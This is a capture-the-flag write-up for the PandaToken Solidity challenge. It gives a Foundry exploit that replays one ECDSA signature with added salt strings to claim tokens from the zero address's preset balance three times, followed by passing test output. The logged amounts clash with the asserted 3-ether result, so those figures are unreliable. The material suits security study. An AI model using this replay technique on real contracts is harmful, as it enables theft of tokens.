Panda Token

Submitted by Sidarth S

Vulnerability

- Here the **PandaToken.sol** can be exploited by using the **V R S of ECDSA signature**, and constructing different sign messages using the context v,r,s bytes and some random salt.
- The constructor sets the storage slots, such that zero address starts with a balance of 10 ether in his account.

Steps to Exploit

Attack Process

-
```
contract Hack is Test {
    PandaToken pandatoken;
    address owner = vm.addr(1);
    address hacker = vm.addr(2);

    ftrace | funcSig
    function setUp() external {
        vm.prank(owner);
        pandatoken = new PandaToken(400, "PandaToken", "PND");
    }

    ftrace | funcSig
    function test() public {
        vm.startPrank(hacker);
        bytes32 hash = keccak256(abi.encode(hacker, 1 ether));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);

        // your goal - to have 3 tokens (3e18) on your own(hacker) balance.
        // solution

        // Pack v,r,s back to signed Data
        // we use Salt to bring variation in the signed Data
        bytes memory sig;
        sig = abi.encodePacked(v,r,s,"Salt1");
        pandatoken.getTokens(1 ether, sig);

        sig = abi.encodePacked(v,r,s,"Salt2");
        pandatoken.getTokens(1 ether, sig);

        sig = abi.encodePacked(v,r,s,"Salt3");
        pandatoken.getTokens(1 ether, sig);

        console.log("balanceOf(%s) = %s ",hacker, pandatoken.balanceOf(hacker) );
        assertEq(pandatoken.balanceOf(hacker), 3 ether);
    }
}
```

- The Hacker uses the V R S , to construct the signature bytes.
- To pass unique signature , we use *salt* string, to bring some noise in the sign hash.
- we exploit the intial balance of 10 ether given to ZeroAddress by the constructor.
- Since max limit is 1 ether, we try calling the *getTokens()* atleast three times.

Result

```
Running 1 test for test/PandaToken.t.sol:Hack
[PASS] test() (gas: 184462)
Logs:
  Minting {100000000000000000} Tokens , To : {0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF}
  Minting {100000000000000000} Tokens , To : {0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF}
  Minting {100000000000000000} Tokens , To : {0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF}
  balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) = 300000000000000000

Test result: ok. 1 passed; 0 failed; finished in 883.79µs
```

Conclusion:

Thus the goal - to have 3 tokens (3e18) on your own(hacker) balance, has been achieved.